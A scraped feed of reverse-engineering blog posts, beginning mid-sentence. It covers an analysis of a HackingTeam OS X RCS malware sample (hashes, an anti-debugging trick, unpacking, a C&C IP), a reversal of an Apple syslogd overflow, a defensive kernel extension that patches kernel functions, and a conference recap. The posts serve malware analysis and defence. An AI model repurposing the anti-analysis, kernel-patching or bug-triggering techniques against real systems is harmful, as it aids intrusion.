annoyance for these guys (Human biases are a royal pain in the ass, I know!). You can consult the email archives on this Wikileaks online and searchable archive. I had some love on those emails although they never sent that promised Playboy subscription (not interested anymore guys, they gave up on nudes!). For an epic presentation about their OS X RCS malware give a look at these slides.\nLast Friday a new OS X RCS sample was sent to me (big thanks to @claud_xiao from Palo Alto Networks for the original discovery, and as usual to @noarfromspace for forwarding it to me). My expectations weren’t big since all the public samples were rather old and know we had their source code so if it were an old sample it was totally uninteresting to analyse. But contrary to my expectations there are some interesting details on this sample. So let’s start once more our reverse engineering journey\u0026hellip;\nThe sample hashes are:\nZIP with dropper: 2ee9e9d9a0cd3cee6519e7b950821d5c90af03da665879615e52fd093dd8e947 Dropper binary: 58e4e4853c6cfbb43afd49e5238046596ee5b78eca439c7d76bd95a34115a273 Both files were submitted to VirusTotal three weeks ago.\nAnd their detection rate was (as mostly expected) zero.\nAs I have written a couple of times, the first thing we should do is to look at the Mach-O headers of the binary files. This can quickly gives us valuable information and save us some time.\nThe first thing one can notice on this binary is that extra segment called _eh_frame. This is not a normal segment although it is labeled as a section that can be usually found in Mach-O binaries. HackingTeam used this same trick in the past so it’s a strong indicator we are analysing HackingTeam malware and that this could still be an old sample.\nNext trick is the fact that this binary is using Apple’s Binary protection, which we can observe on the flags trick using SG_PROTECTED_VERSION_1 flag. A good reference on this Apple feature is Amit Singh’s blog post. It’s pretty easy to dump and recover the original code so it’s not an obstacle to reverse engineering this sample, mostly to evade AV detection. Back in 2009 I wrote a blog post on how to manually dump these binaries or you can use deprotect from class-dump to automatically do it for you.\nThe injected segment is also protected with the same Apple feature and deprotect tool seems unable to deal with this fact. We can try to manually dump this segment. For this to happen we need to attach a debugger to the dropper binary, since the segment will only be decrypted when its memory pages are used. This is where we find one interesting trick from this sample.\nBefore we go there, a last screenshot from the binary headers. If we look at the entrypoint it points into the _eh_frame segment, which is also very unusual (VirusTotal flags this as suspicious). What happens is that the normal __TEXT segment is fake since it contains no code (look at the size, it occupies 4kb in memory). Same trick as older RCS samples.\nI’m not a fan of LLDB so I still use old Apple’s GDB. It works for me so why bother with the newer but awkard LLDB?\nThe entrypoint is a good breakpoint so that’s where we start. When we run the dropper GDB gives us a weird error message.\nGDB has hit a EXC_BAD_ACCESS exception at the entrypoint address, meaning that memory permissions are wrong. The segment is now decrypted (you can compare this code with the code you get if you try to disassemble the binary) and we can dump it with GDB itself or my readmem util. What we are unable to do is to step and debug the dropper binary. To dump using readmem just use readmem -p PID -a 0x7000 -s 0xB9000, and with GDB dump memory FILENAME 0x7000 0xC0000. This will give you the full _eh_frame segment which you can then load into a disassembler. It’s not a full Mach-O binary so the disassembler will complain but you know where the entrypoint is so you can disassemble from there.\nAnyway, let’s get into the interesting stuff. The GDB error quickly gave me an hint to look again at the Mach-O headers. Let’s look at the _eh_frame segment header again\u0026hellip;\nCan you spot anything special here?\nLook at the VM memory protections. The maximum VM protection is set to Read and Writable, and the Initial VM protection to Read and Executable. If this code is executable the flags will need to be executable. What happens here is that the maximum VM protection is not executable and this is the reason why GDB is unable to access the memory. The fix is as simple as fixing the maximum protection to RWX (modify hex value to 8). That’s quite a nice anti-debugging trick I don’t remember every seeing before. Hat tip to you HackingTeam 😉.\nLooking at the dropper code and comparing with older samples and we can’t spot many differences. The structure is more or less the same and the tricks still the same, so you can refer to my slides and older blog posts if you are interested in those details. The only difference is that this time the dropper only packs a single persistence binary and a configuration file. Older samples packed more stuff. In case you dumped the _eh_frame as I described, you can find the packed files at address/offset 0x22A4. At offset 0x22B7 we have the name of the persistency binary, _9g4cBUb.psr, and at 0x22D7 the folder name 8pHbqThW. The folder where the dropper installed binaries is still the same as older samples, ~/Library/Preferences/.\nAt offset 0x22F7 we have the size of the binary, 0xB5DF9, and at offset 0x22FB starts the persistency binary that will be installed by the dropper. At offset 0xB80F8 we can find the configuration file Bs-V7qIU.cYL. It has a size of 0x8F0 bytes (offset 0xB8138), and starts at offset 0xB813C. The configuration file as usual is encrypted.\nLet’s recap what we have seen until now. The dropper is using more or less the same techniques as older HackingTeam RCS samples and its code is more or less the same. The new things we can observe is the binary using Apple’s binary protection feature and a small anti-debugging trick. Until now, nothing spectacular. Either this is an old sample or HackingTeam are still using the same code base as before the hack.\nNext logical step is to look at the persistency binary we extracted from the _eh_frame segment. This is where the core of RCS is and should help us answer interesting questions, in particular how old is this sample. For me this was really what mattered with this sample. Once again, let’s look at its headers.\nRight now you are already a Mach-O expert and noticed how simple this header is. It only contains two segments and one section. This is not normal, in particular when we expect HackingTeam persistency binary to be Objective-C code as in the past.\nLoading this into a disassembler and we get only a tiny amount of code, the rest is what appears to be junk code. This is pretty much a tell tale that this binary is packed. This points straight way to HackingTeam’s own packer, keypress, that can be found in the leaked source code. The easiest way to validate this assumption is to compare the disassembly with the source code. The following piece of disassembly clearly identifies this as keypress.\nFor legal reasons I’m not going to display the leaked source code but you can easily compare those strings and find them in the unpacker code. This is the first sample I have ever seen using their packer, which makes sense since the packer has a 2014 date and all known samples were older than that.\nThe packer has nothing special and you can even dump it using my readmem util (this time use the -m option to have it dump the full binary from memory). Just start the persistency binary in a VM and while it’s starting you can quickly start readmem and dump it. The alternative is to load it in GDB and find the original entrypoint and dump from there. It’s a bit of more work because GDB can’t activate breakpoints on this binary so you will need to manually patch int3 all over to get GDB to break. If you are using gdbinit you can use the int3/rint3 commands to automate this work.\nWith the persistency binary finally dumped we can answer relevant questions. What is the date of this sample?\nThe date question can be answered two ways, using the information from the configuration file (at this stage still encrypted) and from encoded version information.\nThe source code has a variable called gVersion that refers, more or less, to the sample data. From the source code leak we can find the latest value for this variable, 2015032101, on a commit from 9th April 2015. The gVersion value is a good approximation to the commit date and allows us to track the sample in time.\nA bit of reverse engineering here and there and we can find this variable value for this sample, 0x781C294E, translating to 2015111502. BINGO! This locates this sample around October and November 2015, a super fresh RCS sample and post July hack. Never before we had such a fresh sample. And if this date is really true we have a post hack sample, meaning that HackingTeam are still alive and kicking post July hack.\nThe next step is to confirm this information using the configuration file. First we locate the configuration file encryption key and then decrypt it. There we can find the configuration dates for this sample, 2015-10-16, confirming that this is indeed a post hack sample. The C\u0026amp;C server IP for this sample is 212.71.254.212. It’s already down and I didn’t verified if it was up before starting to tweet about this sample on last Friday (honestly I don’t care much about the server side). Might have been up and was quickly brought down or was already down (or this is simply a demo but it doesn’t look like it).\nThe last question about this is to understand what happened to HackingTeam after the July hack. At the time they promised to release a new version that they were telling was not affected by the hack. Is this really true?\nWell, if you start disassembling and comparing with the leaked source code you will see that this appears to be totally false. The sample is compiled out of the leaked source code base and I can’t see many new improvements. I can guarantee you that this sample code is coming from that code base, up to the last commit (there are probably newer commits after the leak). HackingTeam appears to have resumed their operations but they are still using their old source code for this. Of course there is a question of are they using both old and the new promised source code or were they just lying about it and resumed operations with old code since they are probably on a shortage of engineering “talent”? This is definitely a question their customers will have to ask them.\nConclusions\u0026hellip;\nHackingTeam latest sample is a very fresh sample compared with what we got in the past, it is a sample created post July 2015 hack, and it’s using the same code base as before. HackingTeam is still alive and kicking but they are still the same crap morons as the email leaks have shown us.\nIf you are new to OS X malware reverse engineering it’s a nice sample to practice with. I got my main questions answered so for me there’s nothing else interesting about this. After the leak I totally forgot about these guys.\n@noarfromspace made a good point that this sample could have been compiled by someone else other than HackingTeam since the source code is out. It is definitely an easier and not so sexier alternative path for this. My feeling is that while possible this is not the case. But never forget that Human biases can always lead us to the wrong path.\nFor example, the gVersion variable appears to be manually updated on the source code repo (I can’t find any automated scripts for this) and follows the same pattern as previous versions. A definitive answer needs a bit more of reverse engineering time.\nSome interesting network info provided by Charlie Eriksen tells us that the host was up at least in January and Shodan has a scan on the same day the sample was submitted to VirusTotal. References here and here.\nUpdate: John Matherly just left some historical Shodan data. Shodan detected this host up as far as from 15 October 2015. The configuration file filters activation date start on the next day. Pretty good data out of Shodan 😄.\nLooking at VirusTotal submission details we have the following:\nThe zip file was created on 2016-01-29 11:43:50UTC, and submitted to VirusTotal via the web interface on 2016-02-04 from Italy. Censys updated the C\u0026amp;C server info at 2016-01-18T19:21:09+00:00. The dropper binary was submitted to VirusTotal twice on the 2016-02-04 from France via API. The bundle binary that is also extracted in the target persistency folder was submitted the next day 2016-02-25 07:36:07UTC via the API from unknown country and from the installation folder /Users/user1/Library/Preferences/8pHbqThW/w1_X-Hye.gn6. Update: I just found some unique code in this dropper. This code checks for newer OS X versions and does not exist in the leaked source code. Either someone is maintaining and updating HackingTeam code (why the hell would someone do that!?!?!) or this is indeed a legit sample compiled by HackingTeam themselves. Reusage and repurpose of malware source code happens (Zeus for example) but my gut feeling and indicators seem to not point in that direction.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2016/02/29/the-italian-morons-are-back-what-are-they-up-to-this-time/","summary":"Nothing 😃.\nHackingTeam was deeply hacked in July 2015 and most of their data was spilled into public hands, including source code for all their sofware and also some 0day exploits. This was an epic hack that shown us their crap internal security but more important than that, their was of doing things and internal and external discussions, since using PGP was too much of an annoyance for these guys (Human biases are a royal pain in the ass, I know!","title":"The Italian morons are back! What are they up to this time?"},{"content":"Two days ago El Capitan 10.11.3 was released together with security updates for Yosemite and Mavericks. The bulletin available here describes nine security issues, most of them related to kernel or IOKit drivers. The last security issue is about a memory corruption issue on syslog that could lead to arbitratry code execution with root privileges. I was quite curious about this bug mostly because it involved syslogd, a logging daemon.\nThis post is about reversing the vulnerability and finding how it could be exploited. Unfortunately for us Apple is very terse on its security updates – for example they say nothing about if it is exploitable on default OS X installations or requires particular conditions. As we will see later on, this bug is not exploitable on default OS X installations.\nWhile Apple makes available the source code for many components used in OS X, most of the time there is a significant delay so we need to use binary diffing to find out the differences between the vulnerable and updated binary. The usual tool for this purpose is BinDiff but there is also a free alternative called Diaphora made by Joxean Koret. Both tools require IDA and on this post we are going to use Diaphora. For this purpose we will need a copy of the vulnerable and patched binaries. The easiest way is to copy the syslogd binary (found at /usr/sbin/syslogd) before the updates are installed (usually it’s a good idea to have virtual machines snapshots for each version) and then after (or just extract the new binary from the update packages – El Capitan, Yosemite, Mavericks). This post will focus on Yosemite binaries.\nDiaphora essentially works by generating a database and then comparing its contents. Comparing the 10.11.2 and 10.11.3 syslogd binaries gets us the following warning from Diaphora:\nThis means that both binaries are very similar so we should expect minimal changes between the two. Only one change is detected and its output is below.\nThe change is quite subtle. The original code could be something like:\nreallocf(pointer, value + 4); And the patch something like:\nreallocf(pointer, value * 4 + 4); The syslogd source package for El Capitan 10.11.2 can be downloaded here. The easiest way to try to locate this function is to grep the code using the string \u0026ldquo;add_lockdown_session: realloc failed\\n\u0026rdquo;, finding a single hit inside syslogd.tproj/dbserver.c. The source code for this function is:\nThis makes it easier to observe the vulnerability. The patch is made on the reallocf() allocation size while the vulnerability is triggered when the fd variable is written into the lockdown_session_fds array. The allocation size used in reallocf() is wrong since it’s allocating memory just for the number of lockdown sessions instead of enough memory for each session. The following image taken from Zimperium’s analysis is a perfect illustration of the overflow and heap corruption.\nAt the third connection the heap corruption is happening but from my tests more connections are required to make it crash (I get most of the time crashes in different areas than Zimperium but I was also testing against OS X).\nThe developer of this particular piece of code made a mistake, and the fix can be as simple as adding a set of parenthesis:\nC language is powerful but unforgiving of these small mistakes.\nAt this point we know where the vulnerability is and how it was patched. The next question is how do we reach this function? The following is the partial call graph for add_lockdown_session():\nJudging by the initial function names the vulnerable function could be reached either locally (unix socket?) or remotely/locally (via TCP socket). The security bulletin mentions an attack from a local user. Looking at /System/Library/LaunchDaemons/com.apple.syslogd.plist configuration we can only observe the syslog unix socket:\nThis means that the default configuration in OS X is not vulnerable, unless the user changes it. Unfortunately for us Apple doesn’t mention this in the bulletin, which is indeed interesting information for example to anyone running old systems that can’t be upgraded. Let’s dig a bit deeper and understand what do we need to do to activate this feature in OS X so we can try to reproduce the vulnerability. The remote_acceptmsg_tcp() function seems like a good candidate to trace back. Looking it up on source code we will find an interesting function:\nThis is the function that will activate the remote feature which allows us to reach the vulnerable code. The #ifdef means that we can check the binary to see if they were compiled or not into the final binary.\nThe disassembly output of remote_init() shows that only remote_init_tcp() was compiled, meaning that we can reach the vulnerable code via tcp sockets, either locally or remote depending on user configuration. The remote_init_tcp() function takes care of creating and binding the listener socket and is the one calling remote_acceptmsg_tcp() we saw in the first callgraph using Grand Central Dispatch.\nWe still don’t know how to activate the remote feature. Next step is to see who calls remote_init(). There are two calls but the most interesting is init_modules().\nThe remote module support will be compiled into syslogd binary if the target is not the iOS simulator and the default enable or disable status depends on the remote_enable local variable. Its default value is zero, meaning the remote feature is disabled by default. This is another strong clue about a default OS X not being vulnerable.\nFinally init_modules() is called by main(), where we can find the final clues about how to activate this feature.\nInside main we can observe interesting things and finally be sure if OS X is vulnerable on default installation or not. The first thing we can observe in the above code snippet is that the remote feature is enabled by default on the embedded OS, usually meaning iOS and AppleTV. Next there is an option -config that also enables it if the iphone option is selected. Last is the undocumented -remote command line option, which can enable the remote feature on any Apple operating system.\nTo activate the feature we need to edit syslogd launchd configuration file found at /System/Library/LaunchdDaemons/com.apple.syslogd.plist (usually in binary format but can be converted using plutil -convert xml1 filename). The ProgramArguments and Sockets keys need to be modified to the following:\nBecause launchd controls the sockets we also need to configure the socket where syslogd will be listening for the remote option (#define ASL_REMOTE_PORT 203). After we modify the plist and reload syslogd we can finally connect to port 203.\nThe vulnerable code path is triggered using the watch command. If we attach a debugger and insert a breakpoint in the vulnerable add_lockdown_session(), the breakpoint will never be hit when we select the watch command. This is the code inside session that calls the vulnerable function:\nThe WATCH_LOCKDOWN_START is only set in one place inside session:\nThe SESSION_FLAGS_LOCKDOWN is a flag passed on the only session argument.\nAnd we can finally observe and conclude why the security bulletin talks about a local user:\nThis means that the SESSION_FLAGS_LOCKDOWN flag is only set on local connections and never on remote tcp connections, the only feature we have enabled in OS X syslogd binary. The functions who call remote_acceptmsg() show it clearly.\nThe conclusion is that there is no code path to trigger this bug in OS X, even if the user configures the remote feature. To test the bug and observe it in action the only way is to attach to the syslogd binary (or patch it) and remove the above condition (we can also patch inside session but here is easier). Next we just need a small tcp client that sends a few connections to the port 203 and issues the watch command. Sooner or later the syslogd binary will finally crash.\nThe vulnerability also doesn’t seem easy to exploit because we don’t have much control over the fd variable that is overwriting the allocated array.\nOne final note is that the vulnerability was only patched in El Capitan but not included in Yosemite and Mavericks security updates. While we have just seen that even on El Capitan there is no code path to the vulnerable code it is weird that the older versions weren’t also patched. Apple security policy is still confusing most of the time.\nSo after a long post we can finally conclude that there is nothing really interesting about this vulnerability in OS X (and also iOS given the potential barriers to exploitation). It was just an interesting reverse engineering and source code analysis exercise to understand the vulnerability impact in OS X. This exercise wouldn’t be needed if Apple just published more relevant details on its security bulletin.\nThanks to pmsac for draft post review and exploitation discussion (also to qwertyoruiop and poupas).\nHave fun,\nfG!\nP.S.:\nThe tool used to generate the call graph is Understand from http://www.scitools.com. It’s a great tool for browsing and auditing large projects.\n","permalink":"https://reverse.put.as/2016/01/22/reversing-apples-syslogd-bug/","summary":"Two days ago El Capitan 10.11.3 was released together with security updates for Yosemite and Mavericks. The bulletin available here describes nine security issues, most of them related to kernel or IOKit drivers. The last security issue is about a memory corruption issue on syslog that could lead to arbitratry code execution with root privileges. I was quite curious about this bug mostly because it involved syslogd, a logging daemon.","title":"Reversing Apple’s syslogd bug"},{"content":"Last month Patrick Wardle presented Exposing Gatekeeper at VB2015 Prague. The core of the presentation deals with Gatekeeper bypasses originating in the fact that Gatekeeper only verifies the code signatures of the main binary and not of any linked libraries/frameworks/bundles.\nThis means it is possible to run unsigned code using dynamic library hijacking techniques also presented by Patrick in code that should be protected by Gatekeeper. His exploit uses an Apple code signed application that is vulnerable to dylib hijacking and is modified to run unsigned code when downloaded from the Internet. In this scenario Gatekeeper enters into action and should verify if the download is code signed (assuming the default OS X scenario where it is enabled). But in this case Gatekeeper will fail to verify the linked code and effectively is bypassed.\nThe core of the problem is that Gatekeeper only deals with the main binary code, and never verifies any linked code. This is obviously a flaw and hopefully a fix by Apple should be out sooner or later. Meanwhile we can try to build ourselves a fix using the TrustedBSD framework. For this I created Gatekeerper, a proof of concept kernel extension for Yosemite 10.10.5 (can be easily adapted to work with El Capitan, but I don’t want to release that code).\nWhat it does is to verify all executable code that is being mapped into the main process, and if it’s not code signed the application will not run. This only happens if the main binary is signed, since if it was unsigned there is really no purpose in verifying signed linked code – the main binary can already be modified at will and/or it wouldn’t bypass Gatekeeper (assuming no other Gatekeeper bypass exploit). It can also be easily modified to not allow any kind of unsigned code to run.\nFrom my perspective this is what Apple fix should do, verify the code signature of all executable code being loaded into a binary protected by Gatekeeper, and kill process if unsigned code is loaded. This is not exactly the same as refusing to run any unsigned code as in iOS. We are just talking about Gatekeeper feature – the protection of (Internet) downloaded applications.\nApple could go the extra mile and implement a configuration option to refuse to run any unsigned code as it happens in iOS. Such implementation would be less secure than iOS counterpart mainly because there’s no trusted boot chain, kernel extensions can be loaded, and so on. Like rootless, such feature would be one kernel exploit away from being disabled. By default this feature could be off and advanced users could enable it if they wish to do so. Rootless introduced new paradigms for Apple and I guess this type of option is acceptable in that “vision”.\nHow is Gatekeerper implemented? My PoC is based on the fact that dyld (the linker) will be responsible for mmap’ing the linked code – libraries, frameworks, bundles. If we browse dyld source code we can see the following code responsible for mapping executable segments (there are different code paths due to cached libraries and so on):\nvoid ImageLoaderMachO::mapSegments(int fd, uint64_t offsetInFat, uint64_t lenInFat, uint64_t fileLen, const LinkContext\u0026amp; context) { // find address range for image intptr_t slide = this-\u0026gt;assignSegmentAddresses(context); if ( context.verboseMapping ) dyld::log(\u0026#34;dyld: Mapping %s\\n\u0026#34;, this-\u0026gt;getPath()); // map in all segments for(unsigned int i=0, e=segmentCount(); i \u0026lt; e; ++i) { (...) // wholly zero-fill segments have nothing to mmap() in if ( size \u0026gt; 0 ) { if ( (fileOffset+size) \u0026gt; fileLen ) { dyld::throwf(\u0026#34;truncated mach-o error: segment %s extends to %llu which is past end of file %llu\u0026#34;, segName(i), (uint64_t)(fileOffset+size), fileLen); } void* loadAddress = mmap((void*)requestedLoadAddress, size, protection, MAP_FIXED | MAP_PRIVATE, fd, fileOffset); if ( loadAddress == ((void*)(-1)) ) { dyld::throwf(\u0026#34;mmap() error %d at address=0x%08lX, size=0x%08lX segment=%s in Segment::map() mapping %s\u0026#34;, errno, requestedLoadAddress, (uintptr_t)size, segName(i), getPath()); } } (...) } // update slide to reflect load location\tthis-\u0026gt;setSlide(slide); } The TrustedBSD framework contains a useful mmap hook:\n/** @brief Access control check for mapping a file @param cred Subject credential @param fg fileglob representing file to map @param label Policy label associated with vp @param prot mmap protections; see mmap(2) @param flags Type of mapped object; see mmap(2) @param maxprot Maximum rights Determine whether the subject identified by the credential should be allowed to map the file represented by fg with the protections specified in prot. The maxprot field holds the maximum permissions on the new mapping, a combination of VM_PROT_READ, VM_PROT_WRITE, and VM_PROT_EXECUTE. To avoid overriding prior access control checks, a policy should only remove flags from maxprot. @return Return 0 if access is granted, otherwise an appropriate value for errno should be returned. Suggested failure: EACCES for label mismatch or EPERM for lack of privilege. */ typedef int mpo_file_check_mmap_t( kauth_cred_t cred, struct fileglob *fg, struct label *label, int prot, int flags, int *maxprot ); Essentially this hook allows a kernel extension to control what is mmap’ed into a process, which is perfect to control what dyld tries to load into a process.\nThe TrustedBSD hook in kernel’s mmap implementation can be see here:\n#if CONFIG_MACF error = mac_file_check_mmap(vfs_context_ucred(ctx), fp-\u0026gt;f_fglob, prot, flags, \u0026amp;maxprot); if (error) { (void)vnode_put(vp); goto bad; } #endif /* MAC */ This is precisely one of the tasks of the infamous AMFI – it implements a hook here called file_check_mmap. You can disassemble AppleMobileFileIntegrity kernel extension and see this and other AMFI hooks. The AMFI El Capitan version is more complete than the Yosemite version. For example there is new code that allows the linker (dyld) to reject any code that is not signed by the same Team ID if the main binary has a special codesign flag CS_REQUIRE_LV. An example of this flag implementation can be found in Xcode 7.x. If you try to inject a dynamic library into Xcode 7.x the process will be killed. Recent Pangu Team presentation at Ruxcon 2015 also discusses this new feature. I guess this new code originated from iOS code base due to frequent code injection abuse by iOS jailbreaks.\nThe AMFI code contains two interesting code signing related functions, csfg_get_teamid and csfg_get_platform_binary. They allow to retrieve team id and code signing information from the a file located in the filesystem. The problem is that they aren’t adequate to my purposes – what I want to know is if the executable code is signed or not. In a bit I’ll explain why those functions fail in some cases.\nUnfortunately for us the code signing features available inside XNU kernel are very poor and most aren’t even available in KPIs (El Capitan adds more functions but still not enough). This is definitely an area I would love Apple to improve, to create a robust set of code signing KPIs so developers could use them to develop their own security solutions instead of requiring all kinds of potentially unstable tricks and hooks.\nApple, let’s finally assume security as a priority and that (some) developers are interested in developing security solutions. It doesn’t signal your security is bad, everyone already knows that it is so the step forward is to improve it (which you already are but more is required). Pretty please?\nTo understand my solution for code signature detection let me show you csfg_get_platform_binary source code from XNU kernel:\n/* * Function: csfg_get_platform_binary * * Description: This function returns the *\tplatform binary field for the * fileglob fg */ int csfg_get_platform_binary(struct fileglob *fg) { int platform_binary = 0; struct ubc_info *uip; vnode_t vp; if (FILEGLOB_DTYPE(fg) != DTYPE_VNODE) return 0; vp = (struct vnode *)fg-\u0026gt;fg_data; if (vp == NULL) return 0; vnode_lock(vp); if (!UBCINFOEXISTS(vp)) goto out; uip = vp-\u0026gt;v_ubcinfo; if (uip == NULL) goto out; if (uip-\u0026gt;cs_blobs == NULL) goto out; /* It is OK to extract the teamid from the first blob because all blobs of a vnode must have the same teamid */\tplatform_binary = uip-\u0026gt;cs_blobs-\u0026gt;csb_platform_binary; out: vnode_unlock(vp); return platform_binary; } The return value of this function is zero if target binary is not a platform binary and one if it is. A binary can only be (potentially) considered a platform binary if it is code signed, otherwise it will never be. This is part of what we want – to know if something is code signed or not. The problem is that a binary can be code signed and not be a platform binary.\nWhat is considered a platform binary?\nIt is a binary signed by Apple that is located in certain system paths:\n/private/var/db/dyld/dyld_shared_cache_ /usr/lib/ /usr/libexec/ /System/Library/ /usr/bin/ /bin/ /sbin/ /usr/sbin/ This decision also happens inside AMFI in the vnode_check_signature hook. The hook is triggered from kernel function ubc_cs_blob_add:\n/* * Let policy module check whether the blob\u0026#39;s signature is accepted. */ #if CONFIG_MACF error = mac_vnode_check_signature(vp, base_offset, blob-\u0026gt;csb_sha1, (const void*)cd, size, \u0026amp;is_platform_binary); if (error) { if (cs_debug) printf(\u0026#34;check_signature[pid: %d], error = %d\\n\u0026#34;, current_proc()-\u0026gt;p_pid, error); goto out; } #endif\tSo our problem using this function is that we can’t really distinguish between unsigned and signed code – non platform binary code signed applications will return zero on this function. But this function is perfect if we modify it to something like:\nif (uip-\u0026gt;cs_blobs == NULL) goto out; else platform_binary = 1; out: vnode_unlock(vp); return platform_binary; This small modification guarantees that it will always return zero if the code is not signed, and one if the code is signed – uip-\u0026gt;cs_blobs will never be NULL in this case.\nMy solution is to clone this function, modify it, and then use it in our own hook to verify if target code is signed or not. Let’s observe the disassembly output of this function to understand the necessary modifications:\nFFFFFF80007A7AA0 public _csfg_get_platform_binary FFFFFF80007A7AA0 _csfg_get_platform_binary proc near FFFFFF80007A7AA0 55 push rbp FFFFFF80007A7AA1 48 89 E5 mov rbp, rsp FFFFFF80007A7AA4 41 56 push r14 FFFFFF80007A7AA6 53 push rbx FFFFFF80007A7AA7 48 8B 47 28 mov rax, [rdi+28h] FFFFFF80007A7AAB 31 DB xor ebx, ebx FFFFFF80007A7AAD 83 38 01 cmp dword ptr [rax], 1 FFFFFF80007A7AB0 75 3A jnz short loc_FFFFFF80007A7AEC FFFFFF80007A7AB2 4C 8B 77 38 mov r14, [rdi+38h] FFFFFF80007A7AB6 4D 85 F6 test r14, r14 FFFFFF80007A7AB9 74 31 jz short loc_FFFFFF80007A7AEC FFFFFF80007A7ABB 4C 89 F7 mov rdi, r14 FFFFFF80007A7ABE E8 2D 2D C6 FF call _lck_mtx_lock ; - fix relocation FFFFFF80007A7AC3 31 DB xor ebx, ebx FFFFFF80007A7AC5 41 0F B7 46 68 movzx eax, word ptr [r14+68h] FFFFFF80007A7ACA 83 F8 01 cmp eax, 1 FFFFFF80007A7ACD 75 15 jnz short loc_FFFFFF80007A7AE4 FFFFFF80007A7ACF 49 8B 46 70 mov rax, [r14+70h] FFFFFF80007A7AD3 48 85 C0 test rax, rax FFFFFF80007A7AD6 74 0C jz short loc_FFFFFF80007A7AE4 FFFFFF80007A7AD8 48 8B 40 50 mov rax, [rax+50h] FFFFFF80007A7ADC 48 85 C0 test rax, rax FFFFFF80007A7ADF 74 03 jz short loc_FFFFFF80007A7AE4 FFFFFF80007A7AE1 8B 58 68 mov ebx, [rax+68h] ; - modify here FFFFFF80007A7AE4 FFFFFF80007A7AE4 loc_FFFFFF80007A7AE4: ; CODE XREF: _csfg_get_platform_binary+2D\u0018j FFFFFF80007A7AE4 ; _csfg_get_platform_binary+36\u0018j ... FFFFFF80007A7AE4 4C 89 F7 mov rdi, r14 FFFFFF80007A7AE7 E8 04 33 C6 FF call _lck_mtx_unlock ; - fix relocation FFFFFF80007A7AEC FFFFFF80007A7AEC loc_FFFFFF80007A7AEC: ; CODE XREF: _csfg_get_platform_binary+10\u0018j FFFFFF80007A7AEC ; _csfg_get_platform_binary+19\u0018j FFFFFF80007A7AEC 89 D8 mov eax, ebx FFFFFF80007A7AEE 5B pop rbx FFFFFF80007A7AEF 41 5E pop r14 FFFFFF80007A7AF1 5D pop rbp FFFFFF80007A7AF2 C3 retn FFFFFF80007A7AF2 _csfg_get_platform_binary endp The first thing we need is to modify the return value. The code at 0xFFFFFF80007A7AE1 is responsible for moving the value of csb_platform_binary into platform_binary variable (platform_binary = uip-\u0026gt;cs_blobs-\u0026gt;csb_platform_binary;). Instead of this we can move one (platform_binary = 1;), meaning that cs_blobs isn’t NULL and code is signed. The value in EBX is the value of platform_binary variable so the necessary code modification is just a inc ebx to replace the original mov (original instruction is three bytes, new one is two so remaining byte is patched into a NOP).\nThe next step is to fix the two function calls to the locks (lck_mtx_lock and lck_mtx_unlock), since they are RIP relative and our copy is located in a different memory address. We simply need to compute the distance from our copy to those kernel functions and update the offset values in both calls. And voilá, with three simple patches we have a perfect working cloned function that does what we need.\nThe modification to csproc_get_teamid is necessary to return if current process (aka main binary) is code signed or not. The original function returns a pointer but I modified the clone function to return an int value – zero if main binary is not signed, one otherwise. This function is used to decide if we want to verify the linked libraries or not – if main binary is not code signed there is no interested in verifying any linked code. I use this function because it contains everything I need and is easy to modify for my purposes.\nAfter we have working cloned functions that allow us to retrieve the code signing status of the main process and any code that dyld wants to mmap, the last step is to replace the original AMFI hook with my version.\nWhat my version does is to verify if current process is code signed. If that is true then it will verify if all executable code is code signed or not. If something is not code signed that it will refuse to mmap and process will crash (an alternative is to kill the process right there). After this the control is passed back to the original AMFI hook.\nThis means that I am replacing the original AMFI hook with my own copy. I can’t really remember the reason why I did this (I used this solution for something else so I just reused it here). I guess in this particular case we could just create a new hook after AMFI and verify there, instead of playing some pointers exchange games with AMFI. Maybe you should try to implement this that way.\nTo make everything easier I hardcoded some space for cloned functions inside the Gatekeerper kernel extension. This makes everything easier because it avoids intermediate jump islands in case the allocated memory doesn’t fit in a 32 bit offset (check my SyScan rootkits presentation/code from this year). Because kernel extensions are guaranteed to always be at a 32 bit offset distance from the kernel it’s very easy to fix the kernel symbols used in the cloned functions.\nThe PoC code only works with Yosemite 10.10.5 build 14F27. The reason is that the offsets for the cloned functions are hardcoded and not dynamically discovered. This could be done with a disassembler, but this is just a PoC and I’m not working for free. To make it work with El Capitan is just a bit of extra work away.\nYou can find the code at Gatekeerper Github repo.\nI can’t remember why I named it Gatekeerper. JP says it’s the natural evolution from the worm image I frequently use. Sounds like robust logic!\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2015/11/09/gatekeerper-a-kernel-extension-to-mitigate-gatekeeper-bypasses/","summary":"Last month Patrick Wardle presented Exposing Gatekeeper at VB2015 Prague. The core of the presentation deals with Gatekeeper bypasses originating in the fact that Gatekeeper only verifies the code signatures of the main binary and not of any linked libraries/frameworks/bundles.\nThis means it is possible to run unsigned code using dynamic library hijacking techniques also presented by Patrick in code that should be protected by Gatekeeper. His exploit uses an Apple code signed application that is vulnerable to dylib hijacking and is modified to run unsigned code when downloaded from the Internet.","title":"Gatekeerper – A kernel extension to mitigate Gatekeeper bypasses"},{"content":"Finally back home from China and Japan tour, so it’s time to finally release the updated slides about EFI Monsters. After Secuinside I updated them a bit, fixing stuff I wasn’t happy with and adding some new content.\nThe updated version was first presented at 44CON London. I had serious reservations about going to the UK (not even in transit!) but Steve Lord and Adrian charm convinced me to give it a try. 44CON was great and it’s definitely a must attend European conference. It has the perfect size to meet people and share ideas. I prefer single track conferences, dual track is the max I’m interested in. More than that it’s just too big, too messy, too many choices to be made regarding what to see.\nA big thanks to everyone at 44CON who made it possible!\nNext was SyScan360 in Beijing. It was the fourth time it happened, and my third time in a row. I do like very much to go there because even with language barriers you can feel what’s happening there. Bought a bunch of (cheap) hardware gear made by 360 Unicorn team. Their USB condom is super cheap and super small. Also bought a network tap and a USB to serial (don’t really needed it but it was damn cheap). The SyScan360 badge as usual was super fun, this time with a micro Arduino, Bluetooth and LED modules. Conference went pretty smooth and had lots of fun. They had a gigantic LED panel where slides were displayed at. That was some gigantic TV they had there.\nBig thanks to everyone involved in SyScan360 2015.\nLast stop, was CODE BLUE happening in my current favorite city outside Portugal, Tokyo. Third time happening, my second in a row. Organization is top notch, everything goes smoothly. Congrats to Kana, El Kentaro, Tessy, and everyone else involved. This year it had two tracks, and a lot more attendees. It’s definitely a conference to put on your calendar. The audience is super interested in learning. Japan is lagging behind in terms of security so they are keen to finally catch up.\nSome people approached me and shown some interested about (U)EFI security. This is great, that was the goal of this presentation, to show people (U)EFI research isn’t that hard and 